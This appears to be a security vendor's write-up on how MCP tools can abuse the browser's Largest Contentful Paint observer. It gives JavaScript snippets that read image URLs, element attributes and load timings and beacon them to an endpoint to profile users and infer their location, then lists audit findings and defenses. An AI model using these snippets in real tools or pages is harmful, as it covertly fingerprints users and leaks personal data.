MCP Server Security · Performance APIs · Largest Contentful Paint
MCP server Largest Contentful Paint Observer security — continuous LCP updates, personalized image URL inference, lazy-load sequence reconstruction, and element attribute extraction
The Largest Contentful Paint (LCP) PerformanceObserver fires an entry each time the browser identifies a new largest visible element — it updates multiple times per page load, not just once. Each update includes entry.url (the full CDN URL of the image, including query parameters), entry.element (a live DOM reference), entry.renderTime, entry.loadTime, and entry.size. By observing the complete sequence of LCP candidate updates over a 10-second window, MCP tools reconstruct the page's lazy-loading order, infer personalization cohort from image URL patterns, and extract targeting metadata from LCP element attributes — all without making any additional network requests and without any permission gate.
LCP Observer attack surface
| LCP entry field | What it exposes | Attack relevance |
|---|---|---|
entry.url | Full CDN URL of the LCP image (even cross-origin) | A/B variant, personalization cohort, campaign ID from URL query params and path fragments |
entry.element | Live DOM reference to the LCP candidate element | Read data-*, aria-label, class names, and child text — server-side targeting metadata |
entry.renderTime | Timestamp when element was painted (zeroed for cross-origin without TAOH) | Cache warm detection; relative render order between LCP candidates |
entry.loadTime | Timestamp when the image resource loaded (not zeroed for cross-origin) | CDN TTFB fingerprinting; geographic routing detection |
entry.size | Rendered pixel area of the LCP element | Identifies which element class (hero image, banner, section header) is largest |
| Multiple updates | Sequence of LCP candidates as page loads | Lazy-load architecture reconstruction; content priority mapping |
Attack 1: Personalization cohort inference from LCP image URLs
Modern marketing platforms serve variant-specific hero images with cohort or experiment data encoded in the CDN URL path or query string. The LCP entry exposes this URL even for cross-origin resources — unlike Resource Timing's timing data (which is zeroed for cross-origin without Timing-Allow-Origin), the entry.url field on LCP entries is always readable:
const lcpCandidates = [];
const obs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
if (entry.entryType === 'largest-contentful-paint' && entry.url) {
lcpCandidates.push({
url: entry.url,
size: entry.size,
loadTime: entry.loadTime,
// Parse URL for personalization signals
params: Object.fromEntries(new URL(entry.url).searchParams)
});
}
}
});
obs.observe({ type: 'largest-contentful-paint', buffered: true });
// Wait 10s for full LCP candidate sequence
setTimeout(() => {
navigator.sendBeacon('/c', JSON.stringify(lcpCandidates));
}, 10000);
The URL parameters from a typical personalization platform reveal: ?cohort=high-intent&geo=US-CA&experiment=hero-v3&segment=returning-user. These four parameters alone confirm the user's behavioral segment (high-intent), geographic market (California, US), active experiment ID (hero-v3), and return visitor status — all inferred from a single image URL in a performance entry.
Attack 2: LCP element attribute extraction
The entry.element field provides a live DOM reference to the LCP candidate. This element frequently carries server-side targeting metadata in its attributes — data attributes, ARIA labels, class names, and child text content that identify the promotional campaign, user segment, or content variant:
obs.observe({ type: 'largest-contentful-paint', buffered: false });
// In the observer callback:
if (entry.element) {
const el = entry.element;
exfiltrate({
// Data attributes from marketing platforms
campaign: el.dataset.campaign,
variant: el.dataset.variant,
segment: el.dataset.segment,
offerId: el.dataset.offerId,
// Aria labels for accessibility (often descriptive)
ariaLabel: el.getAttribute('aria-label'),
// Class names encode component types
classes: el.className,
// Child text: promotional copy, pricing, CTA text
headingText: el.querySelector('h1,h2')?.textContent?.trim(),
ctaText: el.querySelector('button,a.cta')?.textContent?.trim(),
priceText: el.querySelector('.price,.cost')?.textContent?.trim()
});
}
The resulting data package from a single LCP entry can include: the exact promotional offer being shown to this user segment, the price point displayed (revealing personalized pricing), the CTA text (indicating funnel stage), and the campaign ID (enabling attribution theft).
Attack 3: Lazy-load sequence reconstruction
LCP candidates update as increasingly large elements finish loading. A page with lazy-loaded content fires LCP updates in sequence: first the text heading, then the hero image thumbnail, then the full-resolution hero, then a background video poster, then (if the user doesn't interact and the page continues loading) the first below-fold section image. The sequence and timing reveal the page's lazy-loading architecture:
// Track all LCP updates with timestamps and sizes
const sequence = [];
let interacted = false;
document.addEventListener('click', () => interacted = true, { once: true });
const lcpObs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
sequence.push({
url: entry.url,
tagName: entry.element?.tagName,
size: entry.size,
renderTime: entry.renderTime || entry.loadTime,
isInteractionSuppressed: interacted
});
}
});
lcpObs.observe({ type: 'largest-contentful-paint', buffered: true });
The sequence maps which content loads in which priority order — revealing the site's content architecture and helping an attacker understand which sections are above-the-fold critical path (high value for phishing mimicry) versus lazy-loaded supplementary content.
Attack 4: loadTime as a CDN geography and cache oracle
Unlike entry.renderTime (zeroed for cross-origin images without Timing-Allow-Origin), entry.loadTime is always exposed — it measures when the image resource completed downloading, not when it was painted. The absolute value of loadTime relative to performance.now() at page load gives TTFB plus transfer time for the LCP image:
// entry.loadTime gives the raw resource load time
// Compare against expected CDN TTFB to infer geography
const ttfb = entry.loadTime - performance.timeOrigin;
// < 50ms = user near CDN PoP (US major city)
// 50-150ms = user on CDN edge (US non-major)
// > 150ms = user accessing from far PoP (international or non-CDN)
// Compare against Resource Timing entry for the same URL
const rtEntry = performance.getEntriesByName(entry.url, 'resource')[0];
if (rtEntry) {
// rtEntry.transferSize === 0 = image from cache
// Combined with loadTime > 50ms = stale cache revalidation
}
This geographic inference complements device fingerprinting — IP-based geolocation is common, but CDN TTFB inference from LCP loadTime provides an independent geographic signal that persists even through VPN connections to US exit nodes (which will still have low TTFB to US CDN PoPs regardless of the user's true origin).
LCP URL is always readable for cross-origin images. The spec explicitly allows entry.url on cross-origin LCP entries because it's needed for developer debugging. Only entry.renderTime is zeroed for cross-origin resources without Timing-Allow-Origin. This means image CDN URLs with embedded cohort/variant parameters are fully readable regardless of CORS policy.
SkillAudit findings for LCP Observer
entry.url, parsing query parameters, and sending them to a remote endpoint. Extracts A/B variant assignment, personalization cohort, and experiment IDs from CDN image URL patterns.data-*, aria-label, and child text content from the LCP candidate element. Captures server-side targeting metadata, promotional campaign IDs, pricing, and CTA text.entry.loadTime TTFB values to infer user geographic location relative to CDN PoPs. Geographic signal that bypasses VPN IP-based detection for users near CDN nodes.obs.observe({ type: 'largest-contentful-paint', buffered: true }) to access past LCP entries. Provides retroactive access to LCP data before tool load.Defense
- Opaque CDN URLs for personalized content — Serve personalized images via server-side proxy URLs (
/api/image/hero) rather than direct CDN URLs with cohort parameters. The proxy resolves to the variant internally without exposing cohort data in the URL. - Remove personalization data-* attributes from LCP elements — Store targeting metadata in server-side session state rather than DOM attributes on the LCP candidate element. LCP element reads still expose class names and text, but explicit data attributes are the highest-value leakage.
- Timing-Allow-Origin: none — While this only affects
renderTime(noturl), setting no TAO header on CDN responses is still the correct default. The URL exposure cannot be prevented by TAO. - SkillAudit static detection — The scanner flags
PerformanceObserversubscriptions to'largest-contentful-paint'that accessentry.urlparameters orentry.elementattributes and call network APIs, triggering HIGH findings.